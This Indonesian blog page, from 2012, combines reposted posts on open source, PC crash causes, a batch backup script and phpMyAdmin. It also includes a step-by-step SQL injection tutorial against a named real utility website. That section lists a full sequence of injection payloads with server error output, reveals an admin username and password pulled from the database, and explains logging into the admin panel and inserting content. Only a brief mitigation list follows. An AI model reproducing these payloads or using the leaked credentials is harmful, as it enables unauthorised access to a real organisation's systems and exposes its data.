Senin, 06 Februari 2012

Kenapa Open Source?


Menurut wikipedia Open Source adalah sistem pengembangan yang tidak dikoordinasi oleh suatu individu / lembaga pusat, tetapi oleh para pelaku yang bekerja sama dengan memanfaatkan kode sumber (source-code) yang tersebar dan tersedia bebas (biasanya menggunakan fasilitas komunikasi internet). Pola pengembangan ini mengambil model ala bazaar, sehingga pola Open Source ini memiliki ciri bagi komunitasnya yaitu adanya dorongan yang bersumber dari budaya memberi, yang artinya ketika suatu komunitas menggunakan sebuah program Open Source dan telah menerima sebuah manfaat kemudian akan termotivasi untuk menimbulkan sebuah pertanyaan apa yang bisa pengguna berikan balik kepada orang banyak.
Open Source Software, yang artinya perangkat lunak atau program komputer yang tersedia bebas untuk digunakan, digandakan, dipelajari dan dikembangkan ulang karena tersedia kode sumbernya (Opened Source) dan disebarluaskan untuk apa saja. Semua orang bisa saling berbagi dan berkolaborasi satu sama lain. Contohnya Free Software adalah Linux.
Pola Open Source lahir karena kebebasan berkarya, tanpa intervensi berpikir dan mengungkapkan apa yang diinginkan dengan menggunakan pengetahuan dan produk yang cocok. Kebebasan menjadi pertimbangan utama ketika dilepas ke publik. Komunitas yang lain mendapat kebebasan untuk belajar, mengutak-ngatik, merevisi ulang, membenarkan ataupun bahkan menyalahkan, tetapi kebebasan ini juga datang bersama dengan tanggung jawab, bukan bebas tanpa tanggung jawab.
Kalian Waktu Beli Laptop Pasti Wajib Membeli Lisensi Software!! Tapi gak Di Open Source, di Open Source Semuanya Gatissss, Uppss Ada Beberapa Yang tidak Gratis seperti RedHat, tapi harga yang dibayar setimpal dengan apa yang anda dapatkan. (RedHat itu Khusus untuk Enterprise aka Perusahaan)
Tapi kalo untuk masyarakat biasa tetap gratis kok! Yuk kita simak sedikit cerita berikut:
A: Oyaa Linux opensource lho!! Di Linux kita gak akan kenal lagi sama yang namanya Virus, Malware & Spyware!! Tau Android gak? Android aja Open Source, kenapa kita gak pake Open Source?
B: Okee Ane Mau Install Linux !!
A: Okee Lo Harus Milih Distro dulu
B: Distro?????
A : Distro adalah Distribusinya nya Linux! dan Hanya 15% Baris perintah di Linux yg digunakan di suatu distro! Ane sih recommend nya Turunannya distro Debian, kayak Ubuntu
B : Trus ??
A : Sedott, di Juragan Kambing !!
B : Okee ,Trus ??
A :  Burn Ke CD ato DVD pake Nero kek, ato apa kek!!
B : Okee, Truss??
A : Set BIOS untuk 1st Boot dari CD/DVD ROM, truss ikutin aja petunjuknya !!
B :Okee

PENJELASAN MENGENAI OPEN SOURCE

Sumber Terbuka (Open Source)

Walau pun Perangkat Lunak memegang peranan yang penting, pengertian publik terhadap Hak atas Kekayaan Intelektual Perangkat Lunak (HaKI PL) masih relatif minim. Kebinggungan ini bertambah dengan peningkatan pemanfaatan dari Perangkat Lunak Bebas (PLB) – Free Software – dan Perangkat Lunak Sumber Terbuka (PLST) – Open Source Software (OSS). PLB ini sering disalahkaprahkan sebagai PLST, walau pun sebetulnya terdapat beberapa berbedaan yang mendasar diantara kedua pendekatan tersebut. Pada dasarnya, PLB lebih mengutamakan hal fundamental kebebasan, sedangkan PLST lebih mengutamakan kepraktisan pemanfaatan PL itu sendiri.
Konsep Perangkat Lunak Kode Terbuka (Open Source Software) pada intinya adalah membuka kode sumber (source code) dari sebuah perangkat lunak. Konsep ini terasa aneh pada awalnya dikarenakan kode sumber merupakan kunci dari sebuah perangkat lunak. Dengan diketahui logika yang ada di kode sumber, maka orang lain semestinya dapat membuat perangkat lunak yang sama fungsinya. Open Source hanya sebatas itu. Artinya, tidak harus gratis. Kita bisa saja membuat perangkat lunak yang kita buka kode-sumber-nya, mempatenkan algoritmanya, medaftarkan hak cipta, dan tetap menjual perangkat lunak tersebut secara komersial (alias tidak gratis). definisi open source yang asli seperti tertuang dalam OSD (Open Source Definition) yaitu:
  • Free Redistribution
  • Source Code
  • Derived Works
  • Integrity of the Authors Source Code
  • No Discrimination Against Persons or Groups
  • No Discrimination Against Fields of Endeavor
  • Distribution of License
  • License Must Not Be Specific to a Product
  • License Must Not Contaminate Other Software
Beberapa bentuk model bisnis yang dapat dilakukan dengan Open Source:
  • Support/seller, pendapatan diperoleh dari penjualan media distribusi, branding, pelatihan, jasa konsultasi, pengembangan custom, dan dukungan setelah penjualan.
  • Loss leader, suatu produk Open Source gratis digunakan untuk menggantikan perangkat lunak komersial.
  • Widget Frosting, perusahaan pada dasarnya menjual perangkat keras yang menggunakan program Open Source untuk menjalankan perangkat keras seperti sebagai driver atau lainnya.
  • Accecorizing, perusahaan mendistribusikan buku, perangkat keras, atau barang fisik lainnya yang berkaitan dengan produk Open Source, misal penerbitan buku O Reilly.
  • Service Enabler, perangkat lunak Open Source dibuat dan didistribusikan untuk mendukung ke arah penjualan service lainnya yang menghasilkan uang.
  • Brand Licensing, Suatu perusahaan mendapatkan penghasilan dengan penggunaan nama dagangnya.
  • Sell it, Free it, suatu perusahaan memulai siklus produksinya sebagai suatu produk komersial dan lalu mengubahnya menjadi produk open Source.
  • Software Franchising, ini merupakan model kombinasi antara brand licensing dan support/seller.
Sumber: http://kambing[dot]ui[dot]ac[dot]id/bebas/v06/Kuliah/SistemOperasi/BUKU/SistemOperasi-4.X-1/ch02s05.html

KENAPA OPEN SOURCE?

- Apa keunggulan Aplikasi Open Source?
  • Didesain untuk dikembangkan secara modular. Seseorang yang ingin berkontribusi dapat menambahkan suatu fungsi tanpa atau sedikit ketergantungan terhadap bagian/fungsi yang lain.
  • Dokumentasi yang lengkap. Dokumentasi yang lengkap ditujukan untuk pengembang yang baru dapat dengan cepat mempelajari struktur aplikasi. Tanpa dokumentasi yang lengkap, seseorang akan terbuang waktunya hanya untuk mempelajari struktur aplikasi.
  • Transparansi disain dan proses pengembangan. Setiap orang dapat berkontribusi karena disain dan arah pengembangan selalu dikomunikasikan ke publik melalui web dan mailing list. Kode sumber selalu tersedia pada saat proses pengembangan melalui CVS (concurrent versning system) dan bukan pada saat dirilis.
  • Timi inti yang modular dan transparan. Tim inti pengembang dipilih oleh komunitas berdasarkan kontribusinya. Apabila sudah tidak memiliki kontribusi yang signifikan maka dengan sendirinya akan keluar dari anggota tim inti dan digantikan oleh yang lain yang memiliki kontribusi yang lebih banyak.
Kekuatan Aplikasi Open Source harus dapat dievaluasi sebagaimana layaknya aplikasi komersial. Empat faktor diatas setidaknya harus dipenuhi oleh suatu proyek Aplikasi Open Source untuk dapat berkembang dan sukses diterima publik.
Manfaat apa yg diberikan “Open Source software” dalam masyarakat?
  1. Memberikan alternative pilihan perangkat lunak (software) desktop
  2. Meningkatkan peningkatan pengetahuan masyarakat tentang teknologi informasi
  3. Memperkecil kesenjangan teknologi informasi
  4. Meningkatkan akses informasi masyarakat
  5. Meningkatkan kreatifitas dalam mengembangkan dan memanfaatkan informasi teknologi (kreativitas tidak dibatasi oleh software yg ada).
  6. Meningkatkan kemampuan sumber daya manusia bidang teknologi informasi (di perguruan tinggi, sekolah, dan masyarakat)
  7. Meningkatkan keamanan nasional karena pembajakan berkurang
  8. Menghemat biaya  (tidak harus beli lisensi)
  9. Meningkatkan kemampuan berkompetisi secara global
  10. Mengurangi ketergantungan vendor di bidang Teknologi Informasi
  11. Berlaku untuk umat manusia baik miskin maupun kaya tetap bisa memakai program opensource.
- Apakah aplikasi “open source” mempunyai masa depan??
Tentu saja, penyediaan biaya software yg murah dan berstandar kualitas bagus akan menjadi pemicu naiknya tingkat penggunaan aplikasi Open Source  di Indonesia, tidak hanya itu untuk memajukan program ini, juga dibutuhkan campur tangan dan dukungan pemerintah dalam hal penyediaan aplikasi-aplikasi open source tersebut, karena “buat apa beli sebuah barang yg mahal, kalau ada barang berkualitas sama yg lebih murah dan bahkan gratis“
Source: http://blog[dot]unila[dot]ac[dot]id/arisetyawan/2009/03/16/

BAGAIMANA MEMILIH OPEN SOURCE?

Ketika memilih komponen Open Source, penting untuk melakukan pemeriksaan latar belakang dan memastikan produk open source yang telah Anda pilih sesuai dengan model bisnis perusahaan Anda dan standar TI. Di bawah ini adalah 10 pertanyaan, untuk mengevaluasi kematangan Open Source.
1. Apakah persyaratan lisensi Open Source kompatibel dengan kebutuhan ?
Open Source terutama dilindungi oleh hukum hak cipta, dan lisensi memberikan dasar bagi hak-hak yang Anda miliki di perangkat lunak. Harus diklasifikasikan sebagai Open Source. produk perlu mematuhi empat hal: menggunakan, mempelajari, untuk mendistribusikan ulang, dan untuk memperbaiki. Namun, lisensi biasanya termasuk istilah lain yang mungkin tidak sesuai dengan model bisnis tertentu.
Free Software Foundation (FSF) dan Open Source Initiative (OSI) berfungsi sebagai panduan untuk lisensi Open Source, dan keduanya memiliki halaman yang memvalidasi dan katalog lisensi Open Source.
2. Bagaimana kekuatan di komunitas masyarakat ?
Sebuah proyek Open Source bukan hanya tentang kode, tetapi juga tentang komunitas masyarakat terbuka yang mengelilingi dan mempertahankan proyek. Komunitas ini dapat berkisar dari remaja satu-satunya pengembang untuk satu organisasi yang kompleks multi-entitas beragam komunitas, seperti yang ditemukan di Linux dan Firefox.
Dalam komunitas pengujian, pemeliharaan, meninjau, dan memperbaiki kode, bug dan kerentanan keamanan menjadi kelebihan dalam pemecahan masalah.
3. Seberapa baik produk yang diadopsi oleh pengguna ?
Tes dari setiap proyek Open Source adalah seberapa baik telah diadopsi oleh berbagai kelompok pengguna dan organisasi. Banyak proyek Open Source telah menampilkan berbagai klien yang telah mengadopsi dan menggunakan produk mereka. Ini memberikan anda beberapa jaminan bahwa produk akan mengantarkan pada janji-janji, terutama jika Anda menemukan klien yang ada mirip dengan perusahaan anda.
Mungkin wawasan yang terbaik Anda dapat masuk ke suatu produk dari pengguna lain yang telah menggunakannya untuk sementara waktu.
4. Dapatkah mendapatkan jaminan atau dukungan komersial jika membutuhkannya ?
Semua proyek open source yang bebas lisensi disediakan “apa adanya” tanpa jaminan apa pun. Berdasarkan pada kebutuhan Anda, Anda juga dapat mendukungnya sampai batas tertentu internal dan bergantung pada dukungan sukarela dari masyarakat.
5. Apakah ada proses penjaminan kualitas ?
Banyak proyek Open Source memiliki kedewasaan dan stabilitas untuk mendukung lingkungan produksi, tapi masih banyak di mana stabilitas tidak memenuhi sasaran. Tentu saja, persyaratan stabilitas akan tergantung pada di mana Anda menerapkan produk. Apapun kebutuhan Anda, selalu lebih baik untuk memeriksa jaminan kualitas, proses yang diikuti oleh proyek dalam rilis.
6. Seberapa baik dokumentasinya ?
Beberapa proyek Open Source bisa sangat miskin akan dokumentasi mereka. Insinyur perangkat lunak Open Source terkemuka sering terfokus pada pengembangan produk, jadi dokumentasi sering ketinggalan jaman. Produk kebutuhan pengguna dan administrator panduan manual. Kadang-kadang panduan ini tersedia secara online dalam bentuk wiki atau bahkan sebuah tutorial. Tentu saja, popularitas produk harus memiliki kualitas dokumentasi diperhitungkan, tetapi Anda harus selalu memastikan bahwa dokumentasi ini sangat cocok untuk basis pengguna target Anda.
7. Bagaimana sistem dapat dengan mudah disesuaikan dengan kebutuhan ?
Semua baik proyek Open Source termasuk didokumentasikan extensible arsitektur plug-in yang dapat digunakan untuk menyesuaikan produk. Penting untuk memiliki lebih dari satu pilihan yang tersedia bagi Anda (termasuk pilihan internal jika mungkin).
8. Bagaimana proyek dapat dengan mudah diatur ?
Ada berbagai model untuk bagaimana proyek Open Source dijalankan dan bagaimana keputusan dibuat. Model pemerintahan yang terbaik adalah salah satu yang mencakup semua stakeholder – pengembang, pengguna, vendor – secara transparan proses pengambilan keputusan. Untuk proyek Open Source yang lebih besar, sebuah yayasan yang didedikasikan juga tak ternilai harganya dalam memberikan dukungan hukum yang diperlukan dan menjamin kekayaan intelektual dikelola dengan baik. Pada akhirnya, semakin baik kemampuan Anda untuk terlibat dan mempengaruhi komunitas pengembang sebagai pengguna, lebih responsif proyek akan kebutuhan anda.
9. Apakah produk berskala untuk kebutuhan ?
Banyak aplikasi Open Source yang dibangun di atas LAMP (Linux, Apache, MySQL, PHP / Perl / Python) atau teknologi J2EE stack, yang umumnya salah satu teknologi yang paling scalable. Banyak aplikasi Web portal yang populer? memanfaatkan stack ini dan telah disesuaikan ini dari ujung ke ujung untuk mencapai skalabilitas yang hebat. Salah satu manfaat pergi dengan end-to-end Open Source adalah model solusi jangka panjang memberikan fleksibilitas itu.
10. Apakah ada patch keamanan secara berkala ?
Sebuah proyek yang membawa ancaman keamanan serius dan mampu memperbaiki kelemahan sebelum serangan dapat mengeksploitasi, mereka akan memiliki proses yang mapan untuk melacak kelemahan keamanan dan perbaikan secara proaktif. Manfaat dari Open Source adalah bahwa Anda memiliki hak untuk mengaudit secara independen untuk kekurangan kode dasar keamanan dan dapat memperbaikinya sendiri tanpa menunggu komunitas masyarakat untuk merespons.

Sumber: (Denis/LW/ICTF) – http://www[dot]managementfile[dot]com/journal.php?id=1394

LISENSI OPEN SOURCE

Open Source adalah sebuah sistem baru dalam mendistribusikan software kepada pengguna dengan memberikan program dan source code nya secara gratis! Bahkan pengguna dapat mempelajari dan melakukan modifikasi untuk membuat software tersebut sesuai dengan kebutuhan mereka.
Richard M. Stallman, pendiri Free Software Foundation – sebuah organisasi yang mendukung Open Source, mengeluarkan sebuah lisensi software untuk Open Source yang dinamakan GPL (GNU Public License). Lisensi inilah yang saat ini paling banyak  digunakan  untuk mendistribusikan software Open Source.  Selain GPL, masih banyak lisensi software lainnya yang dikembangkan oleh komunitas Open Source.

Sumber: http://www.binushacker.net/kenapa-open-source.html

Lagi… SQL Injection


SQL Injection
Akhir-akhir ini, anda sering mendengar istilah “SQL Injection” ? Anda tahu betapa berbahaya bug yang satu ini ?Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.
Kita akan mengambil contoh di site www.pln-wilkaltim.co.id Ada dua kelemahan di site ini, yaitu:
1. Tabel News2. Tabel Admin
Langkah pertama, kita tentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu di site tsb. Kita akan menemukan 2 model cara input parameter, yaitu dengan cara memasukkan lewat input box dan memasukkannya lewat alamat URL.
Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin. Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp Langkah pertama untuk menentukan nama tabel dan fieldnya, kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja):
‘having 1=1—
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting). Arti kedua tanda tsb bisa anda cari di tutorial SQL Injectiondi www.neoteker.or.id ini (lihat arsip sebelumnya). Kemudian akan keluar pesan error:
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.NOMOR’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./sipm/admin/dologin.asp, line 7——————–
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya, beserta nama tabel yang mungkin berbeda-beda. Kita inject di kotak NIP (password terserah):
‘group by T_ADMIN.NOMOR having 1=1—
Akan keluar pesan error:
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.NIP’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./sipm/admin/dologin.asp, line 7——————–
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP
Kemudian kita cari field ke tiga :
‘group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1—
Akan keluar pesan error:
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.PASSWORD’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./sipm/admin/dologin.asp, line 7——————–
Catat field ke tiga : T_ADMIN.PASSWORD
Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek field terakhir dengan meng-inject:
‘group by T_ADMIN.NOMOR, T_ADMIN.NIP, T_ADMIN.PASSWORD, T_ADMIN.NAMA, T_ADMIN.KD_RANTING, T_ADMIN.ADDRESS, T_ADMIN.EMAIL having 1=1—
(catatan : kalimat harus 1 baris, tidak dipotong)
——————— NIP atau Password atau Unit Anda salah !! ———————
Sukses !!! Kita berhasil menemukan field terakhir. Daftar kolom (field): T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN), ini akan mempermudah proses kita selanjutnya.
Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas.
Kita inject di kotak NIP (pass terserah) :
‘union select sum(NOMOR) from T_ADMIN—
Arti dari query tersebut adalah :
kita coba menerapkan klausa sum sebelum menentukan apakah jumlah kolom-kolom di dua rowsets adalah sejenis. Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah) yang berlaku untuk type kolom numerik, jadi untuk type kolom yang bukan numerik, akan keluar error yang bisa memberitahu kita jenis kolom yang dimaksud. Pesan error :
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists./sipm/admin/dologin.asp, line 7——————–
artinya kolom NOMOR berjenis numerik. Berikutnya kita inject :
‘union select sum(NIP) from T_ADMIN—
Akan keluar pesan error :
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a char data type as an argument./sipm/admin/dologin.asp, line 7——————–
Artinya kolom NIP bertype char.
Kita harus mengulang perintah di atas untuk kolom yangberikutnya dengan jalan mengganti nama_kolom di :’ union select sum(nama_kolom) from T_ADMIN—
dengan kolom yang berikutnya.Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char
Langkah berikutnya, kita akan mencari isi kolom password, untuk user admin, dengan meng-inject :
‘union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–artinya kita memilih minimum nama user yang lebih besar dari ‘a’dan mencoba meng-konvert-nya ke tipe integer. Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih kolom NAMA, dan mengabaikan 6 kolom yang lain.Akan keluar pesan error :
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘bill ‘ to a column of data type int./sipm/admin/dologin.asp, line 7——————–
Anda lihat :varchar value ‘bill ”bill’ itu adalah nama user di record yang terakhir dimasukkan,atau isi kolom NAMA di record yang terakhir dimasukkan.
Selanjutnya kita inject :
‘union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where NAMA = ‘bill’—
catatan : harus sebaris (tidak dipotong). Akan keluar error :
———————Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m@mpusk@u’ to a column of data type int./sipm/admin/dologin.asp, line 7———————
Artinya kita berhasil !!! Kita dapatkan [+] NAMA = bill[+] PASSWORD = m@mpusk@u
Silahkan login ke :www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan andaisi sendiri dengan cara coba-coba Atau kita pakai jalan pintas saja….
Kita inject-kan :
‘union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN where NAMA =’bill’—
catatan : harus satu baris. Duarrrrrr………. Glhodhak………….
Langsung masuk ke menu admin.Ingat :
jangan buat kerusakan ! beritahu sang admin !!!
Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang lain lagi.
Jadi tetep bisa kita inject !!! Bnedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
ada parameter id dan idSM. Setelah kita coba inject, ternyata yang berpengaruh adalah parameter id aja (CMIIW).
Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119′ having 1=1—
akan keluar pesan error :
—————————Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘tb_news. NewsId’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./dari_Media.asp, line 58—————————
artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kitayang pertama.
Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime
Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan pengetahuan anda. Anda bisa men-insert berita yang bisa anda tentukan sendiri isinya. Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.
Perkiraan saya, nama-nama partai di situs KPU yang di-hackoleh Shizoprenic, juga ada di tabel-tabel suatu database, jadi tetep bisa dimasuki dengan cara SQL Injection ini.
**KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!**
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengancara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaantanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluardari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,Extended Stored Procedures jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.
Yah itulah mungkin yang dapat saya ceritakan…..
Hal itu adalah gambaran, betapa tidak amannya dunia internet…
Kalau mau lebih aman, copot kabel jaringan anda, copot diskdrive anda, copot harddisk anda, jual kompie anda !!! Just kidding )
Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications (www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com) 

10 sebab komputer mengalami crash dan blue screen


Bagi anda pengguna windows OS mungkin anda pernah mengalami blue screen, crash dan fatal error pesan peringatan yang dimunculkan oleh system atau windows OS saat terjadi masalah pada komputer anda. Apa yang anda harus lakukan dan bagaimana mengatasi masalah ini ??
Berikut dibawah ini 10 penyebab permasalahan diatas :
1. Hardware Conflict
Setiap perangkat keras berkomunikasi dengan perangkat keras lainnya melalui interupsi saluran permintaan atau sering disebut IRQ. sebagai contoh keyboard menggunakan IRQ1 dan floppy disk IRQ6 dsb. masing-masing hardware harus memiliki channel tunggal dan tidak boleh ada dua hardware yang menggunakan satu channel IRQ. jika ini terjadi pada saat bersamaan kedua hardware kita digunakan maka komputer akan mengalami crash.
untuk memeriksa apakah perangkat komputer anda mengalami conflict hardware berikut langkah penulusarannya:
# Start-Settings-Control Panel-System-Device Manager#
Seringkali jika sebuah perangkat memiliki masalah ada tanda seru berwarna kuning jika dilihat pada system device.Ini menandakan bahwa driver hardware yang anda instal kurang cocok untuk hardware dan cara terbaik untuk mengatasi masalah ini adalah dengan menginstal kembali Windows anda dan update driver terbaru dari internet untuk setiap hardware yang anda gunakan. atau pemasang hardware anda kurang pas pada dudukannya contohnya : sound card, modem, wifi card atau lan card. Buka chasing cpu jika ada slot card yang kurang pas pada dudukannya rapikan kembali. Catatan: hati2 pada saat anda membuka tutup chasing pastikan arus listrik sudah anda lepaskan dari cpu untuk menghindari sengatan listrik.
2. Bad Ram
Menggunakan ram dengan dua slot berbeda jenis. contoh satu ram menggunakan PC2100 dan yang satu mengunakan PC2700.ini akan menyebabkan ketidakstabilan kerja dari cpu anda.penyelesaian terbaik gunakan dengan PC yang sama misalkan Pc2100 kedua-keduanya bila perlu sama produk buatannya.
Atau ram anda kelihatan kotor buka bersihkan kaki pin dengan penghapus pensil.tanda-tanda ini juga bisa disebabkan oleh ram anda memang sudah mau rusak.Ganti dengan ram baru yang sesuai dengan cpu anda.
3. Bios
Perhatikan setting bios anda jika ragu kembalikan pada default pabrik dengan menekan F9 pada menu bios atau pilih load safe fail default.ganti battery cmos jika tanggal dicpu anda selalu berubah atau setiap kali mau booting minta tekan F1.
4. Hardisk drive
ini disebabkan gelaja awal tanda akan terjadi bad sector pada hardisk jika di biarkan lama kelamaan akan bertambah parah.untuk memelihara hardisk anda agar awet lakukan langkah berikut : dengan defragmenting caranya : #Start-Programs-Accessories-System Tools-Disk Defragmenter # lakukan ini minimal tiga bulan sekali. defragmating ini berfungsi untuk menyusun file yang yang pada hardisk agar tersusun rapi.kosongkan recycle bin dan isi temporary pada system file.terakhir lakukan scandisk :#Start-Programs-Accessories-System Tools-ScanDisk # lakukan ini pada saat anda tidak mengunakan cpu anda.
catatan : jika hardisk anda sudah parah bad sectornya cepat-cepat backup semua data anda, dan ganti hardisk baru.
5. Video Grafic Card
blue screen juga bisa terjadi karena ada kerusakan pada video card karena video card juga punya memory. jika video card sudah tua ganti aja dengan yang baru. hal bisa juga disebabkan kesalahan pada driver update denagan driver yang benar.
6. Virus
Update anti virus anda minimal tiap bulan. jika kerusakan parah disebabkab virus install ulang OSnya.
7. Printer
Tindakan mengirimkan dokumen untuk mencetak menciptakan sebuah file besar, sering disebut sebagai postscript file.
Printer hanya memiliki sedikit memori, yang disebut buffer. Hal ini dapat dengan mudah membuat kelebihan bebanpada memory printer. Mencetak dokumen juga menggunakan cukup banyak power CPU. Ini juga akan memperlambat kinerja komputer.
Jika printer sedang mencoba untuk mencetak karakter tidak biasa, dan dapat membuat crash komputer. Kadang-kadang printer tidak akan bisa mencetak karena kebingungan dalam buffernya. Cara yang baik untuk menghapus data yang akan dicancel printerdalam buffer adalah untuk mencabut printer selama sepuluh detik dan delete file pada printer status.
8. Software
Kemungkinan ada software yang kita install tidak compatible atausupport dengan system yang kita miliki. Uninstall software yang bermasalah dengan cara masuk ke safe mode dengan menekan F8 pada saat booting pergi ke control panel pilih remove program yaitu #Add/Remove programs#catatan: safe software digunakan jika kita tidak bisa booting secara normal pada windows.
9. Overheating
Overhead ini bisa menyebabkan system crash karena suhu prosesor di cpu kita kelebihan panas. ini disebabkan kecepatan kipas pada pendingin prosesor sudah melemah atau bahkan tidak berputar lagi, ganti dengan headsink baru.jika masih normal tu kipas buka lihat pastenya apakah suadah mengering jika ya tambah dengan paste lain dan jangan lupa bersihkan saluran sirkulasi udara pada cpu jika bedu bersihkan dengan kuas.
10. Power Supplay bermasalah
Cpu serring restart sendiri ini bisa disebabkan daya watt power supply udah berkurang ganti dengan yang baru. dan lebih baiok algi gunakan UPS untuk menjaga keamanan system power suply anda dari mati listrik tiba-tiba atau ketinggian voltase dari jaringan PLN a/ listrik karena ini juga bisa menyebabkab cpu anda crash.
sekian
semoga bermanfaat
salam succes….

ilmuti.com

Cara Pasword Folder sederhana ….


Anda punya data penting dalam suatu folder dan ingin folder tersebut diproteksi dengan password ? Ini caranya :
1. Klik-kanan pada tempat kosong disamping folder yang akan diproteksi,
kemudian pilih CUSOMIZE THIS FOLDER ,kemudian pilih CREATE HTML
DOCUMENT FOR THIS FOLDER.
2.Kemudian anda akan masuk ke Notepad, Gulung layar sampai melihat
script

Membackup Data Otomatis Sebelum Shutdown



Kalau dalam keseharian kita sering mendengar istilah “sedia payung sebelum hujan,” maka sebagai pengguna komputer istilah tersebut dapat diartikan sebagai “sedia backup sebelum data hilang”. Apalagi kalau data tersebut merupakan dokumen penting bagi kita maka sudah seharusnya kita melakukan backup data tersebut misalnya saja dengan menggunakan hardisk eksternal atau menyimpannya ke komputer lain. Dalam postingan ini saya akan berbagi informasi tentang membackup data  secara otomatis ke hardisk lain misal eksternal disk sebelum proses shutdown komputer. Untuk itu ikutilah langkah-langkah berikut ini:
  1. Tentukan folder yang akan di backup misal C:\DATA dan Folder tujuan misalnya adalah E:\Backup
  2. Buka Notepad ketikkan baria perintah dibawah ini:
    xcopy c:\Data /y/s/r/h/c D:\Backup
    shutdown -s -f -t 60 -c “Komputer akan shutdown dalam 60 detik”
  3. Save file tersebut misal di drive C: dengan nama backup.bat
  4. Untuk menjalankan backup data, cukup jalankan file backup.bat tersebut, setelah proses backup data selesai maka komputer akan shutdown dalam hitungan mundur 60 detik.
Keterangan:
- Arti dari perintah XCOPY pada langkah backup data diatas adalah sebagai berikut :
\y : melakukan overwrite file tanpa memunculkan konfirmasi
\s : meng-copy direktori dan sub direktori kecuali yang kosong
\r : melakukan overwrite read only file
\h : meng-copy hidden file dan system file
\c : lnajutkan proses copy data meskipun terjadi error
-Sedangkan untuk perintah Shutdown adalah :
-s : perintah untuk shutdown komputer
-f : menutup paksa (force) apabila terdapat program aplikasi yang sedang berjalan
-t 60 : men-set hitungan mundur untuk shutdown
-c “”komentar” : Membuat komentar dijendela shutdown komputer Itulah salah satu cara yang dapat kita gunakan untuk melakukan proses backup komputer kita menggunakan file backup.bat. Dalam kesempatan berikutnya saya akan berbagi informasi lagi tentang software-software yang dapat kita gunakan untuk membantu proses backup data pada komputer kita.
[starrating template_id=4 select='']
 
 
ilmuti.com

cara upload MySQL database


Pada Komputer Lokal
Dalam contoh ini, kami menggunakan phpMyAdmin 2.6.1-pl3 pada komputer lokal, langkah-langkahnya:
a. ketikkan path ke phpmyadmin pada localhost anda
1
b. pilih database yang ingin anda dump,
2
Terdapat di sebelah kiri phpmyadmin
